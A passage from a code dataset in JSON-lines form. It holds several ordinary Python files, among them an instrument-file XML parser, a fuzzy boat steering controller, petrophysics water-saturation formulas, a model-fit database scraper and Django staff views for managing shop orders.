v)\n            #Special return values\n            elif k in obj._special_write.keys():\n                if callable(obj._special_write[k]):\n                    obj._special_write[k](elem, k, v)\n                else:\n                    obj._special_write[k]\n            else:\n                rr = self._anasys_to_etree(v, k)\n                #Create subelement k, with a value determined by recursion\n                elem.append(rr)\n        return elem\n\n    def _attr_to_children(self, et_elem):\n        \"\"\"Convert element attributes of given etree object to child elements\"\"\"\n        for attr in et_elem.items():\n            ET.SubElement(et_elem, attr[0])\n            et_elem.find(attr[0]).text = attr[1]\n\n    def _etree_to_anasys(self, element, parent_obj=None):\n        \"\"\"Iterates through element tree object and adds atrtibutes to HeightMap Object\"\"\"\n        #If element has attributes, make them children before continuing\n        self._attr_to_children(element)\n        # If element is a key in _special_read, set special return value\n        if element.tag in self._special_read.keys():\n            return self._special_read[element.tag](element)\n        #If element is a key in _base_64_tags, return decoded data\n        if '64' in element.tag:\n            return self._decode_bs64(element.text)\n        #If element has no children, return either it's text or {}\n        if list(element) == []:\n            if element.text:\n                #Default return value for an element with text\n                return element.text\n            else:\n                #Default return value for an empty tree leaf/XML tag\n                return \"\"\n        #If element has children, return an object with its children\n        else:\n            if parent_obj == None:\n                #Top level case, we want to add to self, rather than blank object\n                element_obj = self\n            else:\n                #Default case, create blank object to add attributes to\n                element_obj = AnasysElement()#parent_obj=self)\n            #store the etree tag name for later use\n            element_obj._name = element.tag\n            #Update _attributes of given element\n            element_obj._attributes.extend(element.keys())\n            #Loop over each child and add attributes\n            for child in element:\n                #Get recursion return value - either text, {} or AnasysElement() instance\n                rr = element_obj._etree_to_anasys(child, element)\n                #Set element_obj.child_tag = rr\n                setattr(element_obj, child.tag, rr)\n            #Return the object containing all children and attributes\n            return element_obj\n\n    def _check_key(self, key, _dict, copy=1):\n        \"\"\"Check if key is in dict. If it is, increment key until key is unique, and return\"\"\"\n        if key not in _dict:\n            return key\n        num_list = re.findall('\\s\\((\\d+)\\)', key)\n        if num_list != [] and key[-1] == ')':\n            copy = int(num_list[-1])\n        index = key.find(' ({})'.format(copy))\n        if index != -1:\n            key = key[:index] + ' ({})'.format(copy+1)\n            return self._check_key(key, _dict, copy+1)\n        else:\n            key += ' ({})'.format(copy)\n            return self._check_key(key, _dict, copy)\n\n    def _decode_bs64(self, data):\n        \"\"\"Returns base64 data decoded in a numpy array\"\"\"\n        decoded_bytes = base64.b64decode(data.encode())\n        fmt = 'f'*int((len(decoded_bytes)/4))\n        structured_data = struct.unpack(fmt, decoded_bytes)\n        decoded_array = np.array(structured_data)\n        return decoded_array\n\n    def _encode_bs64(self, np_array):\n        \"\"\"Returns numpy array encoded as base64 string\"\"\"\n        tup = tuple(np_array.flatten())\n        fmt = 'f'*np_array.size\n        structured_data = struct.pack(fmt, *tup)\n        encoded_string = base64.b64encode(structured_data).decode()\n        return encoded_string\n\n    def _serial_tags_to_nparray(self, parent_tag):\n        \"\"\"Return floats listed consecutively (e.g., background tables) as numpy array\"\"\"\n        np_array = []\n        for child_tag in list(parent_tag):\n            np_array.append(DC.Decimal(child_tag.text))\n            parent_tag.remove(child_tag)\n        np_array = np.array(np_array)\n        return np_array\n\n    def _nparray_to_serial_tags(self, elem, nom, np_array):\n        \"\"\"Takes a numpy array returns an etree object and of consecutive <double>float</double> tags\"\"\"\n        root = ET.Element(nom)\n        flat = np_array.flatten()\n        for x in flat:\n            el = ET.SubElement(root, 'Double')\n            el.text=str(x)\n        elem.append(root)\n\n    def write(self, filename):\n        \"\"\"Writes the current object to file\"\"\"\n        xml = self._anasys_to_etree(self, 'Document')\n        #ElementTree annoyingly only remembers namespaces that are used so next line is necessary\n        xml.set(\"xmlns\", \"www.anasysinstruments.com\")\n        #Can't see any reason to add unused namespaces other than default, as Analysis Studio won't complain,\n        #but minidom will if one is duplicated (can't easily get around this lame default behavior in etree)\n        with open(filename, 'wb') as f:\n            xmlstr = minidom.parseString(ET.tostring(xml)).toprettyxml(indent=\"  \", encoding='UTF-16')\n            f.write(xmlstr)\n\n    def _etree_to_dict(self, etree, key_tag):\n        \"\"\"\n        Converts an ET element to a dict containing its children as AnasysElements.\n        e.g.,\n            <parent>\n                <obj1>\n                    <key>A</key>\n                </obj1>\n                <obj2>\n                    <key>B</key>\n                </obj2>\n                ...\n            </parent>\n        becomes:\n            parent = {'A': obj1, 'B': obj2, ...}\n        Arguments:\n            self = calling object (will be an instance of or derived from AnasysElement)\n            etree = element tree object to be converted\n            key_tag = object element to be used as key (e.g., Label, Name, ID, etc.)\n        \"\"\"\n        return_dict = {}\n        for child in etree:\n            new_obj = AnasysElement(etree=child)\n            key = new_obj[key_tag]\n            key = self._check_key(key, return_dict)\n            return_dict[key] = new_obj\n        return return_dict\n\n    def _etree_to_list(self, etree):\n        \"\"\"\n        Converts an ET element to a list containing its children as AnasysElements.\n        e.g.,\n            <parent>\n                <obj1/>\n                <obj2/>\n                ...\n            </parent>\n        becomes:\n            parent = [obj1, obj2, ...]\n        Arguments:\n            self = calling object (will be an instance of or derived from AnasysElement)\n            etree = element tree object to be converted\n        \"\"\"\n        return_list = []\n        for child in etree:\n            new_obj = AnasysElement(etree=child)\n            return_list.append(new_obj)\n        return return_list\n\n    def _iterable_to_etree(self, parent_elem, iterable_elem_name, iterable_obj):\n        \"\"\"\n        Converts a named dict or list of Anasys Elements to an Element Tree\n        object representation of the object\n\n        e.g.,\n            parent.var = {'ID1': obj1, 'ID2': obj2, ...} or parent.var = [obj1, obj2, ...]\n            becomes:\n            <parent>\n                <var>\n                    <obj1>...</obj1>\n                    <obj2>...</obj2>\n                    ...\n                </var>\n            </parent>\n        Arguments:\n        self = calling object (will be an instance of or derived from AnasysElement)\n        parent_elem = the parent etree object to append to\n        iterable_elem_name = the name of the dict or list variable (will become etree element name)\n        iterable_obj = the dict or list itself\n        \"\"\"\n        parent_etree = ET.SubElement(parent_elem, iterable_elem_name)\n        if type(iterable_obj) == dict:\n            for child in iterable_obj.values():\n                new_elem = child._anasys_to_etree(child, name=child._name)\n                parent_etree.append(new_elem)\n        else:\n            for child in iterable_obj:\n                new_elem = child._anasys_to_etree(child, name=child._name)\n                parent_etree.append(new_elem)\n","repo_name":"AnasysInstruments/anasys-python-tools","sub_path":"anasyspythontools/anasysfile.py","file_name":"anasysfile.py","file_ext":"py","file_size_in_byte":12068,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"6412411248","text":"import numpy as np\nimport skfuzzy as fuzz\nfrom skfuzzy import control as ctrl\nimport matplotlib.pyplot as plt\n\n\nclass BoatDriver:\n    def __init__(self, mom=False):\n        des_dir = ctrl.Antecedent(np.arange(-180, 181, 1), 'desired direction')\n        turn = ctrl.Antecedent(np.arange(-50, 51, 1), 'turn')\n        if mom:\n            # mean of maximum czyli zawsze wartosci ze srodku najwiekszego wyniku ktory wychodzi,\n            # mniej wartosci ale pewnie bardziej stabilne\n            defuzzify_method = 'mom'\n        else:  # wiecej wartosci\n            defuzzify_method = 'centroid'\n        rudd_chng = ctrl.Consequent(np.arange(-20, 21, 1), 'rudder change', defuzzify_method=defuzzify_method)\n\n        des_dir['strong left'] = fuzz.trapmf(des_dir.universe, [-180, -180, -100, -25])\n        des_dir['left'] = fuzz.trimf(des_dir.universe, [-100, -25, 0])\n        des_dir['middle'] = fuzz.trapmf(des_dir.universe, [-25, -3, 3, 25])\n        des_dir['right'] = fuzz.trimf(des_dir.universe, [0, 25, 100])\n        des_dir['strong right'] = fuzz.trapmf(des_dir.universe, [25, 100, 180, 180])\n\n        turn['left'] = fuzz.trapmf(turn.universe, [-50, -50, -20, 0])\n        turn['neutral'] = fuzz.trimf(turn.universe, [-20, 0, 20])\n        turn['right'] = fuzz.trapmf(turn.universe, [0, 20, 50, 50])\n\n        rudd_chng['strong left'] = fuzz.trapmf(rudd_chng.universe, [-20, -20, -10, -3])\n        rudd_chng['left'] = fuzz.trimf(rudd_chng.universe, [-10, -3, 0])\n        rudd_chng['keep'] = fuzz.trimf(rudd_chng.universe, [-3, 0, 3])\n        rudd_chng['right'] = fuzz.trimf(rudd_chng.universe, [0, 3, 10])\n        rudd_chng['strong right'] = fuzz.trapmf(rudd_chng.universe, [3, 10, 20, 20])\n\n        rules = [ctrl.Rule(des_dir['strong left'] & turn['left'], rudd_chng['left']),\n                 ctrl.Rule(des_dir['left'] & turn['left'], rudd_chng['keep']),\n                 ctrl.Rule(des_dir['middle'] & turn['left'], rudd_chng['right']),\n                 ctrl.Rule(des_dir['right'] & turn['left'], rudd_chng['strong right']),\n                 ctrl.Rule(des_dir['strong right'] & turn['left'], rudd_chng['strong right']),\n\n                 ctrl.Rule(des_dir['strong left'] & turn['neutral'], rudd_chng['strong left']),\n                 ctrl.Rule(des_dir['left'] & turn['neutral'], rudd_chng['left']),\n                 ctrl.Rule(des_dir['middle'] & turn['neutral'], rudd_chng['keep']),\n                 ctrl.Rule(des_dir['right'] & turn['neutral'], rudd_chng['right']),\n                 ctrl.Rule(des_dir['strong right'] & turn['neutral'], rudd_chng['strong right']),\n\n                 ctrl.Rule(des_dir['strong left'] & turn['right'], rudd_chng['strong left']),\n                 ctrl.Rule(des_dir['left'] & turn['right'], rudd_chng['strong left']),\n                 ctrl.Rule(des_dir['middle'] & turn['right'], rudd_chng['left']),\n                 ctrl.Rule(des_dir['right'] & turn['right'], rudd_chng['keep']),\n                 ctrl.Rule(des_dir['strong right'] & turn['right'], rudd_chng['right']),\n                 ]\n\n        self.des_dir = des_dir\n        self.turn = turn\n        self.rudd_chng = rudd_chng\n        self.steering_ctrl = ctrl.ControlSystem(rules)\n\n    def rudder_change(self, desired_direction, turn, visualization=False):\n        steering = ctrl.ControlSystemSimulation(self.steering_ctrl)\n        steering.input['desired direction'] = desired_direction\n        steering.input['turn'] = turn\n        steering.compute()\n        out = steering.output['rudder change']\n        if visualization:\n            self.des_dir.view(sim=steering)\n            self.turn.view(sim=steering)\n            self.rudd_chng.view(sim=steering)\n            plt.show()\n        return out\n\n\nif __name__ == \"__main__\":\n    driver = BoatDriver()\n    desired_direction = 5\n    turn = -5\n    out = driver.rudder_change(desired_direction, turn, True)\n    print(out)\n","repo_name":"AleksanderZawisza/Fuzzy-Boat","sub_path":"app/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37249309819","text":"import numpy as np\n\ndef dereg_value_error_handler(data_value):\n    if len(data_value) < 2:\n        return np.nan\n\n    try:\n        value_parts = data_value[0].split('$')[1]\n        desired_value = int(''.join(value_parts.split(',')))\n    except (IndexError, ValueError):\n        desired_value = np.nan\n\n    return desired_value\n\ndef dereg_value_retrieval(listing_url):\n    row_info = listing_url.find_all(class_='row_info')[2].text.strip().split()\n    dereg_value_from_scrape_date = dereg_value_error_handler(row_info)\n    return dereg_value_from_scrape_date\n\n\n","repo_name":"shepherd333/INF1002-Web-Crawler-Project","sub_path":"Scrapers/dereg_scraper.py","file_name":"dereg_scraper.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39782469182","text":"def insertion(list):\n    for i in range(len(list)):\n\n        currentvalue = list[i]\n        j = i - 1\n        while j >= 0 and currentvalue < list[j]:\n            list[j + 1] = list[j]\n            j -= 1\n        list[j + 1] = currentvalue\n\nlist = ['Timor-Leste', 'Cambodia', 'Philippines', 'Brunei', 'Vietnam', 'Myanmar', 'Malaysia', 'Indonesia', 'Singapore', 'Philippines', 'Timor-Leste', 'Brunei', 'Timor-Leste', 'Laos', 'Thailand', 'Thailand']\n\ninsertion(list)\nprint(list)","repo_name":"ReubMaster420/Reubs-code","sub_path":"Python Challenges/insertion.py","file_name":"insertion.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35722056938","text":"import pgzrun\nfrom pgzero.keyboard import keyboard\n\n\nWITTH = 500\nHEIGHT = 500\n\nhetao = Actor('小核桃')\nhetao.x, hetao.y = 100, 200\n\ndef draw():\n    screen.clear()\n    hetao.draw()\n\ndef update():\n    if keyboard.space:\n        hetao.y += 5\n        if hetao.y >= 500:\n            hetao.x, hetao.y = 100, 200\n\npgzrun.go()","repo_name":"Myco-Chen/Mine","sub_path":"python学习/L4-6/L4-6练习题之4题.py","file_name":"L4-6练习题之4题.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15785342522","text":"import numpy as np\nimport numpy.typing as npt\nimport warnings\nfrom stoneforge.petrophysics.helpers import correct_petrophysic_estimation_range\n\n\n# Make anomalous water saturation values larger than 1 be one\ndef correct_range(sw: np.ndarray):\n    sw[sw > 1] = 1\n    return sw\n\ndef archie(rw: float, rt: npt.ArrayLike, phi: npt.ArrayLike, a: float,\n           m: float, n: float) -> np.ndarray:\n    \"\"\"Estimate the Water Saturation from Archie's [1]_ equation.\n\n    Parameters\n    ----------\n    rw : int, float\n        Water resistivity.  \n    rt : array_like\n        Formation resistivity.    \n    phi : array_like\n        Porosity.   \n    a : int, float\n        Tortuosity factor.\n    m : int, float\n        Cementation exponent.\n    n : int, float\n        Saturation exponent.\n\n    Returns\n    -------\n    sw : array_like\n        Water saturation from Archie equation.\n\n    References\n    ----------\n    .. [1] Archie GE (1942) The electrical resistivity log as an aid in determining some\n    reservoir characteristics. Transactions of the AIME, 146(01), 54-62.\n\n    \"\"\"\n    if any(((a*rw) / (phi**m * rt))**(1/n) > 1):\n        warnings.warn(UserWarning(\"saturation of water must be a value between 0 and 1\"))\n        sw = ((a*rw) / (phi**m * rt))**(1/n)\n        sw = correct_petrophysic_estimation_range(sw)\n        return sw\n\n    else:\n        sw = ((a*rw) / (phi**m * rt))**(1/n)\n        sw = correct_petrophysic_estimation_range(sw)\n        return sw\n\n\ndef simandoux(rw: float, rt: npt.ArrayLike, phi: npt.ArrayLike, a: float,\n              m: float, n: float, vsh: npt.ArrayLike,\n              rsh: float) -> np.ndarray:\n    \"\"\"Estimate water saturation from Simandoux [1]_ equation.\n\n    Parameters\n    ----------\n    rw : int, float\n        Water resistivity.\n    rt : array_like\n        True resistivity.    \n    phi : array_like\n        Porosity.\n    a : int, float\n        Tortuosity factor.\n    m : int, float\n        Cementation exponent.\n    n : int, float\n        Saturation exponent.\n    vsh : array_like\n        Clay volume log.\n    rsh : int, float\n        Clay resistivity.\n\n    Returns\n    -------\n    sw : array_like\n        Water saturation from Simandoux equation.\n\n    References\n    ----------\n    .. [1] Simandoux P (1963) Measures die techniques an milieu application a measure des\n    saturation en eau, etude du comportement de massifs agrileux. Review du’Institute Francais\n    du Patrole 18(Supplemen-tary Issue):193\n\n    \"\"\"\n    C = (1 - vsh) * a * rw / phi**m\n    D = C * vsh / (2*rsh)\n    E = C / rt\n    sw = ((D**2 + E)**0.5 - D)**(2/n)\n\n    sw = correct_petrophysic_estimation_range(sw)\n\n\n    return sw\n\n\ndef indonesia(rw: float, rt: npt.ArrayLike, phi: npt.ArrayLike, a: float,\n              m: float, n: float, vsh: npt.ArrayLike,\n              rsh: float) -> np.ndarray:\n    \"\"\"Estimate water saturation from Poupon-Leveaux (Indonesia) [1]_ equation.\n\n    Parameters\n    ----------\n    rw : int, float\n        Water resistivity.  \n    rt : array_like\n        True resistivity.    \n    phi : array_like\n        Porosity.     \n    vsh : array_like\n        Clay volume log.\n    a : int, float\n        Tortuosity factor.\n    m : int, float\n        Cementation exponent.\n    n : int, float\n        Saturation exponent.\n    rsh : float\n        Clay resistivity.\n\n    Returns\n    -------\n    indonesia : array_like\n        Water saturation from Poupon-Leveaux equation.\n\n    References\n    ----------\n    .. [1] Poupon, A. and Leveaux, J. (1971) Evaluation of Water Saturation in Shaly Formations.\n    The Log Analyst, 12, 1-2.\n\n    \"\"\"\n    sw = ((1/rt)**0.5 / ((vsh**(1 - 0.5*vsh) / (rsh)**0.5) + (phi**m / a*rw)**0.5))**(2/n)\n    sw = correct_petrophysic_estimation_range(sw)\n\n\n    return sw\n\n\ndef fertl(rw: float, rt: npt.ArrayLike, phi: npt.ArrayLike, a: float,\n          m: float, vsh: npt.ArrayLike, alpha: float) -> np.ndarray:\n    \"\"\"Estimate water saturation from Fertl [1]_ equation.\n\n    Parameters\n    ----------\n    rw : int, float\n        Water resistivity.\n    rt : array_like\n        True resistivity.    \n    phi : array_like\n        Porosity (must be effective).  \n    vsh : array_like\n        Clay volume log.     \n    a : int, float\n        Tortuosity factor.\n    m : int, float\n        Cementation exponent.\n    alpha : int, float\n        Alpha parameter from Fertl equation.\n\n    Returns\n    -------\n    fertl : array_like\n        Water saturation from Fertl equation.\n\n    References\n    ----------\n    .. [1] Fertl, W. H. (1975, June). Shaly sand analysis in development wells.\n       In SPWLA 16th Annual Logging Symposium. OnePetro.\n\n    \"\"\"\n    sw = phi**(-m/2) * ((a*rw/rt + (alpha*vsh/2)**2)**0.5 - (alpha*vsh/2))\n    sw = correct_petrophysic_estimation_range(sw)\n\n\n    return sw\n\n\n_sw_methods = {\n    \"archie\": archie,\n    \"simandoux\": simandoux,\n    \"indonesia\": indonesia,\n    \"fertl\": fertl\n}\n\n\ndef water_saturation(rw: float, rt: npt.ArrayLike, phi: npt.ArrayLike,\n                     a: float, m: float, method: str = \"archie\",\n                     **kwargs) -> np.ndarray:\n    \"\"\"Compute water saturation from resistivity log.\n\n    This is a façade for the methods:\n        - archie\n        - simandoux\n        - indonesia\n        - fertl\n\n    Parameters\n    ----------\n    rw : int, float\n        Water resistivity.\n    rt : array_like\n        True resistivity.\n    phi : array_like\n        Porosity (must be effective).\n    a : int, float\n        Tortuosity factor.\n    m : int, float\n        Cementation exponent.\n    n : int, float\n        Saturation exponent. Required if `method` is \"archie\", \"simandoux\" or\n        \"indonesia\".\n    vsh : array_like\n        Clay volume log. Required if `method` is \"simandoux\", \"indonesia\" or\n        \"fertl\".\n    rsh : float\n        Clay resistivity. Required if `method` is \"simandoux\" or \"indonesia\".\n    alpha : array_like\n        Alpha parameter from Fertl equation. Required if `method` is \"fertl\"\n    method : str, optional\n        Name of the method to be used.  Should be one of\n            - 'archie'\n            - 'simandoux'\n            - 'indonesia'\n            - 'fertl\n        If not given, default method is 'archie'\n\n    Returns\n    -------\n    water_saturation : array_like\n        Water saturation for the aimed interval using the defined method.\n\n    \"\"\"\n    options = {}\n    \n    required = []\n    if method == \"archie\":\n        required = [\"n\"]\n    elif method == \"simandoux\":\n        required = [\"n\", \"vsh\", \"rsh\"]\n    elif method == \"indonesia\":\n        required = [\"n\", \"vsh\", \"rsh\"]\n    elif method == \"fertl\":\n        required = [\"vsh\", \"alpha\"]\n    \n    for arg in required:\n        if arg not in kwargs:\n            msg = f\"Missing required argument for method '{method}': '{arg}'\"\n            raise TypeError(msg)\n        options[arg] = kwargs[arg]\n    \n    fun = _sw_methods[method]\n\n\n    sw = fun(rw, rt, phi, a, m, **options)\n    \n    return sw\n","repo_name":"giecaruff/stoneforge","sub_path":"stoneforge/petrophysics/water_saturation.py","file_name":"water_saturation.py","file_ext":"py","file_size_in_byte":6891,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"71939015047","text":"import logging\nimport os\nimport pickle\nfrom pathlib import Path\nfrom typing import Optional, Union\n\nfrom .. import model as m\nfrom ..sqlalchemy_ import sa\nfrom ...mapper.model_object import Identifier\n\nlogger = logging.getLogger(\n    __name__\n)\n\n\ndef _parent_identifier(\n        directory: str\n) -> Optional[str]:\n    \"\"\"\n    Read the parent identifier for a fit in a directory.\n\n    Defaults to None if no .parent_identifier file is found.\n    \"\"\"\n    try:\n        with open(f\"{directory}/.parent_identifier\") as f:\n            return f.read()\n    except FileNotFoundError:\n        return None\n\n\nclass Scraper:\n    def __init__(\n            self,\n            directory: Union[Path, str],\n            session: sa.orm.Session\n    ):\n        \"\"\"\n        Facilitates scraping of data output into a directory\n        into the database.\n\n        Parameters\n        ----------\n        directory\n            A directory in which data has been stored\n        session\n            A database session\n        \"\"\"\n        self.directory = directory\n        self.session = session\n\n    def scrape(self):\n        \"\"\"\n        Recursively scrape fits from the directory and\n        add them to the session\n        \"\"\"\n        for fit in self._fits():\n            self.session.add(\n                fit\n            )\n        for grid_search in self._grid_searches():\n            self.session.add(\n                grid_search\n            )\n\n    def _fits(self):\n        \"\"\"\n        Scrape data output into a directory tree so it can be added to the\n        aggregator database.\n\n        Returns\n        -------\n        Generator yielding Fit database objects\n        \"\"\"\n        logger.info(\n            f\"Scraping directory {self.directory}\"\n        )\n        from autofit.aggregator.aggregator import Aggregator as ClassicAggregator\n        aggregator = ClassicAggregator(\n            self.directory\n        )\n        logger.info(\n            f\"{len(aggregator)} searches found\"\n        )\n        for item in aggregator:\n            is_complete = os.path.exists(\n                f\"{item.directory}/.completed\"\n            )\n\n            parent_identifier = _parent_identifier(\n                directory=item.directory\n            )\n\n            model = item.model\n            samples = item.samples\n\n            try:\n                instance = samples.max_log_likelihood_instance\n            except (AttributeError, NotImplementedError):\n                instance = None\n\n            identifier = _make_identifier(item)\n\n            logger.info(\n                f\"Creating fit for: \"\n                f\"{item.search.paths.path_prefix} \"\n                f\"{item.search.unique_tag} \"\n                f\"{item.search.name} \"\n                f\"{identifier} \")\n\n            try:\n                fit = self._retrieve_model_fit(\n                    item\n                )\n                logger.warning(\n                    f\"Fit already existed with identifier {identifier}\"\n                )\n            except sa.orm.exc.NoResultFound:\n                try:\n                    log_likelihood = samples.max_log_likelihood_sample.log_likelihood\n                except AttributeError:\n                    log_likelihood = None\n                fit = m.Fit(\n                    id=identifier,\n                    name=item.search.name,\n                    unique_tag=item.search.unique_tag,\n                    model=model,\n                    instance=instance,\n                    is_complete=is_complete,\n                    info=item.info,\n                    max_log_likelihood=log_likelihood,\n                    parent_id=parent_identifier\n                )\n\n            pickle_path = Path(item.pickle_path)\n            _add_pickles(\n                fit,\n                pickle_path\n            )\n\n            yield fit\n\n    def _grid_searches(\n            self\n    ):\n        \"\"\"\n        Retrieve grid searches recursively from an output directory by\n        searching for the .is_grid_search file.\n\n        Should be called after adding Fits as it relies on querying fits\n\n        Yields\n        ------\n        Fit objects representing grid searches with child fits associated\n        \"\"\"\n        from autofit.aggregator.aggregator import Aggregator as ClassicAggregator\n        for root, _, filenames in os.walk(self.directory):\n            if \".is_grid_search\" in filenames:\n                path = Path(root)\n\n                is_complete = (path / \".completed\").exists()\n\n                with open(\n                        path / \".is_grid_search\"\n                ) as f:\n                    unique_tag = f.read()\n\n                grid_search = m.Fit(\n                    id=path.name,\n                    unique_tag=unique_tag,\n                    is_grid_search=True,\n                    parent_id=_parent_identifier(\n                        root\n                    ),\n                    is_complete=is_complete\n                )\n\n                pickle_path = path / \"pickles\"\n                _add_pickles(\n                    grid_search,\n                    pickle_path\n                )\n\n                aggregator = ClassicAggregator(\n                    root\n                )\n                for item in aggregator:\n                    fit = self._retrieve_model_fit(\n                        item\n                    )\n                    grid_search.children.append(\n                        fit\n                    )\n                yield grid_search\n\n    def _retrieve_model_fit(\n            self,\n            item\n    ) -> m.Fit:\n        \"\"\"\n        Retrieve a Fit, if one exists, corresponding to a given SearchOutput\n\n        Parameters\n        ----------\n        item\n            A SearchOutput from the classic Aggregator\n\n        Returns\n        -------\n        A fit with the corresponding identifier\n\n        Raises\n        ------\n        NoResultFound\n            If no fit is found with the identifier\n        \"\"\"\n        return self.session.query(\n            m.Fit\n        ).filter(\n            m.Fit.id == _make_identifier(\n                item\n            )\n        ).one()\n\n\ndef _make_identifier(\n        item\n) -> str:\n    \"\"\"\n    Create a unique identifier for a SearchOutput.\n\n    This accounts for the Search, Model and unique_tag\n\n    Parameters\n    ----------\n    item\n        An output from the classic aggregator\n\n    Returns\n    -------\n    A unique identifier that is sensitive to changes that affect\n    the search\n    \"\"\"\n    search = item.search\n    model = item.model\n    return str(Identifier([\n        search,\n        model,\n        search.unique_tag\n    ]))\n\n\ndef _add_pickles(\n        fit: m.Fit,\n        pickle_path: Path\n):\n    \"\"\"\n    Load pickles from the path and add them to the database.\n\n    Parameters\n    ----------\n    fit\n        A fit to which the pickles belong\n    pickle_path\n        The path in which the pickles are stored\n    \"\"\"\n    try:\n        filenames = os.listdir(\n            pickle_path\n        )\n    except FileNotFoundError as e:\n        logger.exception(e)\n        filenames = []\n\n    for filename in filenames:\n\n        try:\n            with open(\n                    pickle_path / filename,\n                    \"r+b\"\n            ) as f:\n                fit[\n                    filename.split(\".\")[0]\n                ] = pickle.load(f)\n        except (pickle.UnpicklingError, ModuleNotFoundError) as e:\n\n            if filename == \"dynesty.pickle\":\n                continue\n\n            raise pickle.UnpicklingError(f\"Failed to unpickle: {pickle_path} {filename}\") from e\n","repo_name":"Jammy2211/autolens_abell_1201","sub_path":"PyAuto/PyAutoFit/autofit/database/aggregator/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":7532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38478392150","text":"import json\n\nfrom JoinCensusWithTweets import GeoShape, CensusLoader, Integrator\n# Parse json file\nfrom utils import MongoDbUtils, GraphDbUtils\n\n\nclass BaseParser:\n\n    def __init__(self, json_filename, verbose=0):\n        self.filename = json_filename\n        self.verbose = verbose\n        self.all_gdf, self.main_crs = GeoShape.load_shape_files()\n\n    def extract_tweets(self):\n        tweets = []\n        data_package = []\n\n        # integrate self.main_crs in tweets\n        with open(self.filename, 'rb') as input_file:\n            count = 0\n            for line in input_file:\n                obj = json.loads(line)\n                tweet = GraphDbUtils.make_data(obj)\n                tweet_package = MongoDbUtils.make_data(obj)\n\n                if len(tweet) != 0:\n                    tweets.append(tweet)\n                if len(tweet_package) != 0:\n                    data_package.append(tweet_package)\n                if self.verbose == 1:\n                    # print(count, '. \\t ', tweet)\n                    print(count, '. \\t ', tweet_package)\n                    count = count + 1\n\n        return tweets, data_package\n\n    def extract_census_data(self):\n        all_census_df = CensusLoader.load_census_concat()\n        pop_census_gdf = Integrator.join_census_shpfile(self.all_gdf, all_census_df)\n        return pop_census_gdf\n","repo_name":"JulinaM/DrugAbusePrevention","sub_path":"BaseParser.py","file_name":"BaseParser.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16172086327","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.forms import inlineformset_factory\nfrom django.core.paginator import Paginator\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib import messages\nfrom django.contrib.admin.views.decorators import staff_member_required\n\nfrom store.models import *\nfrom .forms import ProductForm, OrderForm, ImageForm\nfrom .filters import OrderFilter, OrderFilterC, ItemFilter, ProductFilter, SearchRegistered, SearchGuest\nfrom store.decorators import unauthenticated_user\n\n# Create your views here.\n\n@unauthenticated_user\ndef loginPage(request):\n    if request.method == 'POST':\n        username = request.POST.get('username')\n        password = request.POST.get('password')\n\n        user = authenticate(request, username=username, password=password)\n\n        if user is not None:\n            login(request, user)\n            return HttpResponseRedirect(reverse('staff:index'))\n        else:\n            messages.info(request, 'Username or password is incorrect.')\n    return render(request, \"staff/login.html\")\n\ndef logoutUser(request):\n    logout(request)\n    return HttpResponseRedirect(reverse('staff:login'))\n\n@staff_member_required(login_url='staff:login')\ndef index(request):\n\n    orders = Order.objects.filter(complete=True).order_by('-date_ordered')\n    total_orders = orders.count()\n    delivered = orders.filter(status='Delivered').count()\n    pending = orders.filter(status='Pending').count()\n\n    filterOrder = OrderFilter(request.GET, queryset=orders)\n    orders = filterOrder.qs\n    \n    paginatedOrder = Paginator(filterOrder.qs, 3)\n    order_page_number = request.GET.get('page')\n    order_page_obj = paginatedOrder.get_page(order_page_number)\n\n    context = {\n        'orders': orders,\n        'total_orders': total_orders,\n        'delivered': delivered,\n        'pending': pending,\n        'filterOrder': filterOrder,\n        'order_page_obj': order_page_obj\n    }\n    return render(request, 'staff/index.html', context)\n\n@staff_member_required(login_url='staff:login')\ndef deleteOrder(request, pk):\n    order = Order.objects.get(id=pk)\n\n    if request.method == \"POST\":\n        order.delete()\n        return HttpResponseRedirect(reverse('staff:index'))\n\n    context = {\n        'order': order\n    }\n    return render(request, 'staff/delete_order.html', context)\n\n@staff_member_required(login_url='staff:login')\ndef updateOrder(request, pk):\n    order = Order.objects.get(id=pk)\n    form = OrderForm(instance=order)\n\n    if request.method == \"POST\":\n        form = OrderForm(request.POST, instance=order)\n        if form.is_valid():\n            form.save()\n            return HttpResponseRedirect(reverse('staff:index'))\n\n    context = {\n        'form': form,\n        'order': order\n    }\n    return render(request, 'staff/update_order.html', context)\n\n@staff_member_required(login_url='staff:login')\ndef customers(request):\n    registered = User.objects.exclude(is_staff=True).order_by('-id')\n    guest = Customer.objects.exclude(is_user=True).order_by('-id')\n    staff = User.objects.filter(is_staff=True)\n    \n    filterRegistered = SearchRegistered(request.GET, queryset=registered)\n    registered = filterRegistered.qs\n\n    filterGuest = SearchGuest(request.GET, queryset=guest)\n    guest = filterGuest.qs\n\n    paginatedRegistered = Paginator(filterRegistered.qs, 5)\n    registered_page_number = request.GET.get('page')\n    registered_page_obj = paginatedRegistered.get_page(registered_page_number)\n\n    paginatedGuest = Paginator(filterGuest.qs, 5)\n    guest_page_number = request.GET.get('page')\n    guest_page_obj = paginatedGuest.get_page(guest_page_number)\n\n    context = {\n        'registered': registered,\n        'guest': guest,\n        'staff': staff,\n        'filterRegistered': filterRegistered,\n        'filterGuest': filterGuest,\n        'registered_page_obj': registered_page_obj,\n        